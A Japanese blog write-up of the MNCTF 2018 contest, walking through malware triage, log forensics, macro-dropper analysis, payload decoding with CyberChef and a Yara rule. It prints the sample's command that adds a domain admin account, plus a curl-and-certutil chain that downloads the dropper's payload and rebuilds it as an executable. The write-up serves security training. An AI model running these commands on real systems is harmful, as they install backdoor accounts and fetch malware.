MNCTF2018 writeup

f:id:appleseedj073:20180712201142j:image

久しぶりのCTFに参加してきました。もう毎年恒例の行事になりつつあるMACNICAさんのMNCTF!

今年は、昨年までと違って気が楽!だって、変に勝ちを意識しなくて良いからw (まぁ、意識していても勝っていた訳じゃないですけどねw)今日は、問題を解く事を楽しんで、夜の懇親会で美味しいお酒を飲む!そんな気持ちで参加しました。(そのせいで、あとで痛い目を見ることになるけど…。)

戦績は振るわなかったけど、今はとっても清々しい(きよきよしい)気持ちです!

 

今回は、過去の設問とは雰囲気が変わって、本当にインシデントに対応している様な短編ストーリー仕立てで面白かった!やっぱり、他のCTFに比べると実務よりで面白いと思います。あと、今年は全体的にマルウェアの解析を解析するところから導入していく問題が多かったと思います。これは、実際の現場でメール等で着弾したり感染してしまってからインシデントレスポンスに当たることからなのかな?と勝手な解釈しつた問題を解いてました。

 

今回の問題は… 

f:id:appleseedj073:20180712235323p:plain

 

練習問題

いつも通りの点呼問題

 

新人奮闘Ⅰ

マルウェアのSHA-256を答える問題

shasum -a 256 AD_OptimizationTool.exe f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29 

 

新人奮闘Ⅱ

マルウェアの解析レポートを作っていく問題。指定されたサイトで穴埋め。

f:id:appleseedj073:20180712212921p:plain

入力する項目は

 

Windowsマシンをしっかりと仕上げて来なかったことがここにきて災いしてツールがないことに苦戦w

仕方ないから検体をそのままVirusTotalへ投げてみた!そしたら既に誰かが投げてした様子w そこから必要な情報を入手できた。

f:id:appleseedj073:20180712213822p:plain

f:id:appleseedj073:20180712213847p:plain

f:id:appleseedj073:20180712213900p:plain

 

新人奮闘Ⅲ

次は、このマルウェアを実行した時に実行されるコマンドを答える問題。これは何も考えないでstringsコマンドに投げたらコマンドが見えた。

net user /add /domain vpnadmin P@ssw0rD1!

 

新人奮闘Ⅳ

次の問題はフォレンジックということで、マルウェアVPNに接続しているらしいのでログを調査して接続した時間を答えるというもの。

ちなみに前の問題で、net userコマンドを使ってvpnadminというユーザーを作成しているのがわかっているので、指定されているログファイルからvpnadminを検索してみる。

f:id:appleseedj073:20180712215227p:plain

 

新人奮闘Ⅴ

先ほどのログから判明したIPアドレスから攻撃元の国を答える問題。

深読みしすぎて「IPアドレス ロケーション」で検索して出てきたサイト

www.iputilities.net

ここにIPアドレス「27.117.128.1」を入力したら

f:id:appleseedj073:20180712215752p:plain

ということで、大韓民国(なんでか正式名称w)と入力

新人奮闘シリーズはこれにて終了。マルウェアの解析から攻撃元の特定までと面白いシナリオだと思った。

 

大量不正

大量のマルウェアの中から類似性のあるもの見つけて答える問題。指定されたファイルをダウンロードして解凍すると中には100個のファイルが・・・。とりあえず、ハッシュ値を求めてソートしたけど一致するものなんてない。多分、ファジーハッシュを出して比較するpythonを書かないとダメなんだろうなぁ(毎回MNCTFではpythonを即興で組み上げる問題があるから)と、いうことでこれは無理と判断してスルー。しかし、午後の解説を聞くとssdeepコマンドで簡単に出せるらしいw

でも、macだとインストールしないとダメだから準備不足の自分は結局解けなかった事は揺るがないwww

とりあえずインストールして検証してみると・・・

ssdeep -bcdr *

"sample68.bin","sample1.bin",99

内容的には「sample68.bin」と「sample1.bin」が99%の類似性があるという事らしい。

 

種類特定

やっと出てきたネットワーク問題。pcapファイルを解析してマルウェアの名前を答える問題。MNCTFでpcapファイル問題が出た時は、とりあえずwebに投げる!という独自理論のもとPaketTotalにファイルを投げるw

すると・・・

f:id:appleseedj073:20180712221541p:plain

ここで問題がw

マルウェアの名前を「Ursnif」と何度解答しても不正解(T ^ T)

結構な時間をロスしてしまい諦めて午後の解説を待つことに。そしたら午後の解説で驚愕の新事実が!!解答がスペルミスしていたようでしたw でも、この「Ursnif」には別名が「GOZI」らしく正解していた人はそっちを答えてみた様子。別名を調べられなかった自分のミス。

 

標的攻撃Ⅰ

今度は標的攻撃シリーズw フィッシングメールに添付されたエクセルファイルを解析する問題。このファイルは、サンドボックスでは解析できなくて特定のユーザでのみ起動する仕掛けがあるという。そこで、その標的となったユーザを調べる。

ここで大問題!私の解析用WindowsにはOfficeが入っていないwww

エクセルはせいぜいログファイルとかでしか使われないし、macにNumber入ってるし何とかなると思っていたらExcelのmacroっぽい。とりあえずテンパりながOpenOfficeをダウンロードしてインストール。何とか開くと

f:id:appleseedj073:20180712222830p:plain

このマクロは、エクセルの使用者名とエクセルの表中のC列の値を比較して名前が値に含まれているならマクロの実行が行われるようだった。エクセルの表からC列を確認してみると当初C列は非表示になっていた。これを表示させて値を確認すると以下の名前が出てきた。この名前のどれかを答える。

  • Yasu Kobayashi
  • Take Teshigawara
  • Soichi Yamamoto
  • Tada Okuno
  • Yoshi Hatakeyama
  • Sho Shinogi

ちなみに何も考えずに「勅使河原」とか「Teshigawara」と入力したのは内緒ですw

 

標的攻撃Ⅱ

次は攻撃が発動した際に発生するHTTPSの通信のURLを答える問題。これは、先ほどのマクロの中に書かれていたのでそれを答える。

https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert

 

標的攻撃Ⅲ

通信を終えると、別のファイルが生成され、そこから2次ファイルが生成されるので、そのファイルのSHA256を答える。何度か、マクロを書き換えて実行させようとするも慣れないOpenOfficeもありうまく動作せず時間ばかり食い断念。

マクロを動かせないので、マクロと同じように動作させるようにしてみる。

マクロはURLからファイルをGETしてcert.pemとして保存。certutilコマンドでcert.pemをデコードしてcert.exeとして保存しているので、まずはcurl コマンドでgetしてファイル名「cert.pem」にして保存。

curl -X GET https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert > cert.pem

このファイルをWindowsに移動させて

certutil -decode cert.pem cert.exe

これでマクロと同じものが出来上がってあとはSHA256を計算すればOK

shasum -a 256 cert.exe c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382

午後の解説前に試してみたらこの値が出た。競技中は何かが違っていたみたいでこの値じゃなかったw

 

標的攻撃Ⅳ

前の設問でできた2次ファイルを実行すると発生するHTTPSの通信先のURLを解答する。これも、解説前に出来上がったファイルを実行したらそれっぽいのがすぐに見つかった。

f:id:appleseedj073:20180712230034p:plain

https://shinobotps1.com/download_get.php

 

穴埋防御

不審なファイルを解析し、Yaraルールを完成させる問題。競技中は「Yaraルール」の文字が見えたので敬遠したw

解説を聞いたので試してみる。まずYaraルールを確認してみると

f:id:appleseedj073:20180712230629p:plain

必要な情報はMutexらしい。次に不審なファイルを確認すると何やら難読化されてる感じ。これはBase64エンコードされているのでこれをデコードする。この時に活用できると紹介されたのが「CyberChef」というサイト。このサイトは、いろんな形へのエンコードやデコードが出来る優れもの。

gchq.github.io

このサイトで難読化されているデータをデコードする。

デコードするとpowershellスクリプトが現れる。そしてこのスクリプトの中にもまたbase64エンコードして、XORもしているデータが見つけられる。

f:id:appleseedj073:20180712231750p:plain

まず、このbase64エンコードされている部分を切り取りCyberChefに貼り付けてデコード

f:id:appleseedj073:20180712231949p:plain

これをXORすると

f:id:appleseedj073:20180712232058p:plain

MZで始まるようになったのでこれをexeファイルとして保存して解析する。

IDAで開き確認すると

f:id:appleseedj073:20180712233036p:plain

Mutexは「1q2w3e4r0o9i8u7y6t」になる。これは、完全に検討つかなかったので勉強になった。

 

盗聴情報

最後の問題は、「XOR(シングルバイトキー)→ Base64 → ROT13」というアルゴリズムで暗号化されたファイルを復号して答える問題。アルゴリズムがわかっているので逆順でやればいいんだろうと予想し、多分pythonで組むのかな?と思った時点で諦めていたwww

実はこれもCyberChefで解けると聞いて驚いた。

ファイルをCyberChefにアップロードして、ROT13、Base64と復号してXORはシングルバイトキーということなのでBrute Forceを使うという。

f:id:appleseedj073:20180712233905p:plain

そうするとキーが15の時に「PNG」という文字とpngファイルに含まれる「IHDR」という文字が。ということで15でXORして拡張子をpngにして保存する。

f:id:appleseedj073:20180712234243p:plain

 

まとめ

今回のMNCTFは、冒頭で述べたとおり今までと違いシナリオ構成になっていて解いていくのが楽しかった。何よりもワクワクした。競技での成績は悪かったけど今回は過去最高の満足度でした。

そして、CyberChefというサイトの便利さが半端ないということを学べて良かった。

f:id:appleseedj073:20180712235027p:plain